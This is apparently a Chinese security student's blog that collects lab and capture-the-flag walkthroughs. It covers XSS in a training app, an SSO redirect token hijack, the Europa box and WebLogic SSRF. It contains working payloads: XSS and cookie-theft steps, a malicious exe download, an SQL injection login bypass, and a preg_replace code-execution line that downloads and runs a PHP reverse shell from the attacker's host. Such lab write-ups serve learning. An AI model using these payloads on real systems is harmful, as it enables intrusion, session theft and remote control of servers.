参考资料:绕过waf之命令执行
渗透实战第三版实验csk-web之XSS
参考资料: 下载地址:
- http://thehackerplaybook.com/get.php?type=csk-web
echo 目标机器的ip chat >> /etc/hosts
首先我们看下这个网站,注册一个账号并登陆。网页上有一些存在漏洞的提示。
反射型XSS
http://chat:3000/chatchannel/1
反射型XSS是最简单的xss,因为网页没有过滤用户输入,或者过滤不完全,导致用户可以输入js语句,根据js语句的不同,可以任意执行js代码。
案例一,script标签
<script>alert('xss')</script>
案例二,过滤script标签的情况
<svg onload=alert(1788)>
案例三,点击弹窗
<b onmouseover=alert('XSS')>Click Me!</b>
一旦鼠标移到Click Me!,就提示xss
一旦点击就弹窗
1 |
|
案例四,跳转并文件下载
kali准备恶意代码exe,并开启web服务:
1 |
|
kali的ip为192.168.159.129
访问路径为:http://192.168.159.129:8001/test.exe
在页面上输入以下代码:
1 |
|
于是客户端就会跳转到这个下载地址,http://192.168.159.129:8001/test.exe
这个跳转并文件下载要配合存储型xss。
案例五:cookie窃取
将下面的php代码保存为cookie.php
1 |
|
然后用php开启web服务,
php -S 192.168.159.129:8002
这是kali的地址:http://192.168.159.129:8002/cookie.php
存在漏洞的页面输入以下代码:
1 |
|
成功获取到了admin账号的cookie。
但是这里有个问题,就是使用cookie登陆时候,发现cookie失效的时间太短了。
经过数次尝试,因为输入窃取cookie的js代码,会跳转到
google.com
,这会导致用户的cookie退出网页,使得cookie直接失效。。
要注意的是,速度要快。。cookie过期跟服务端的网页设置有关。
子域名搜集
绕过waf之命令执行
Wall-rce与绕过waf(上)
sso登陆劫持漏洞
引子
最近项目遇到这个漏洞,但是我没有发现。。
正文
参考资料:
sso单点登陆,用户一次登陆,所有系统都可访问。
sso设计目的是简化登陆方式,可能有很多系统,但是多个系统都是一个机构的,每个系统每次都要分别登陆就很复杂。
举个例子,OpenID是一个很流行的sso框架,
用户提交1. openID 2.openID Provider(提供者)
网站重定向到openID provider认证,登陆成功后,再重定向回网站。
这里可以理解为,门卫不知道你是谁,然后让你去某某处盖章,你去盖章完成后回到门卫处,门外验证红章没问题就让你通过。
案例
1 |
|
此处有一个参数backurl=abc.com,当修改此参数为backurl=abc.com.test
网页向abc.com.test,也就是openID Provider(提供者)提交一串openID。
提交后,网页提示无法连接abc.com.test,并且抓取到了一段数据包,包含了登陆成功的token。
由于客户可以伪造openID Provider(提供者),此处产生了sso登陆劫持漏洞。下列的sid是token。如果使用以下token,再次访问http://abc.com.test/Account/Login,可以发现已经登陆。
1 |
|
攻击方式
攻击者可以将backurl修改为自己的地址,然后发送恶意连接
http://abc.com/public/pages/login/index.html?backurl=http%3A%2F%2F恶意地址%2FAccount%2FLogin%3FReturnUrl%3D%252f&app=YuLinTu
一旦受害者点击链接,并输入正确的用户名和密码。恶意地址会收到如下的get请求“GET /Account/Login?ReturnUrl=%2f&sid=96c2182d0da29dc720fab468734fef9e47ced2993df16fda6b03c98e92f6e77475b4cf56623430d6 ”
攻击者就可以使用token sid=xxx,以受害者的身份进行登陆abc.com。
Europa(php rce)
引子
一天可以当两天用,可是当十天不行。 不要低估日积月累的作用。
scan
1 |
|
web
http://10.10.10.22
目录扫描
1 |
|
查找版本漏洞
searchsploit apache 2
Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak | exploits/linux/webapps/42745.py searchsploit -m exploits/linux/webapps/42745.py python3 42745.py -u https://10.10.10.22/ -a
Optionsbleed 漏洞未发现
https
ssl/http Apache httpd 2.4.18 ((Ubuntu)) 参考资料:http://liaoph.com/openssl-san/
SAN(Subject Alternative Name) 是 SSL 标准 x509 中定义的一个扩展。使用了 SAN 字段的 SSL 证书,可以扩展此证书支持的域名,使得一个证书可以支持多个不同域名的解析。
sslyze --regular 10.10.10.22
? 以前遇到过 将域名和ip绑定,访问网站就会正常显示。而直接通过ip访问,网站不能正常解析。 当时没有深入探究,是什么导致的。
1 |
|
wget https://admin-portal.europacorp.htb –no-check-certificate -O admin-portal.europacorp.htb
sql注入
burp将数据包copy to file,选择保存为1.txt
sqlmap -r 1.txt --dbms mysql -p email --force-ssl --dump
获得数据库内容后,得知了用户名是admin@europacorp.htb
以下列的数据登入后台。 email=admin@europacorp.htb’ or ‘1’=’1&password=098098
代码执行
看到网页上有个输入点,立刻想到了命令执行漏洞,burp抓包看一下。
1 |
|
参考资料:
- http://www.madirish.net/402
- 深入研究preg_replace与代码执行
- 常见web漏洞-command execution
pattern=/^(.*)/e&ipaddress=system(wget http://10.10.14.18:1234/php-reverse-shell.php -P /tmp
);&text=
pattern=/^(.*)/e&ipaddress=system(php -f /tmp/php-reverse-shell.php
);&text=
得到一个权限为www-data的shell
提权
1 |
|
总结
在sql注入输入admin@europacorp.htb’ or ‘1’=’1的时候,页面js脚本总是弹出用户名不是邮箱,这时候该怎么办呢?
这里有一个小技巧:
点击intercept is on,通过burp proxy拦截输入用户名密码里的数据包,然后修改数据包中的内容,修改完成后,点击intercept is off。
这时候数据包就会直接发往服务器,你就可以看到网页已经登陆了。
这是绕过js验证的一个技巧。
Sneaky(snmp默认口令泄露敏感信息)
enum
应届生的面试题
网络协议
zipper docker容器靶机渗透
你越功利,世界对你越神秘。废话不说,开始紧张刺激的渗透吧!
weblogic ssrf
参考资料:https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf
docker空间管理
1 |
|
ssrf
1 |
|
ssrf是服务端请求伪造,意思是服务器接受我们的请求后,然后向内网发起扫描等有害操作。该漏洞出现的原因是服务器需要向内网其他机器获取资源,在请求的过程中,参数可被攻击方修改。
下图是weblogic典型的界面。下面我们看看怎么利用它。
访问以下地址:
1 |
|
用burp intruder可以看到7001页面显示的长度,和其他端口不同,说明7001端口开放。
如果内网有其他web漏洞可以反弹shell,例如redis…也可以通过上面的operator=http://127.0.0.1:7002
参数反弹shell
防御方法
过滤参数,禁止参数访问内网IP,例如上文所说的operator参数。
第三次实习
不知不觉暑假已经过去了,而我混入安全圈的目标,也悄悄达成了。估计毕业以后应该能做渗透测试吧。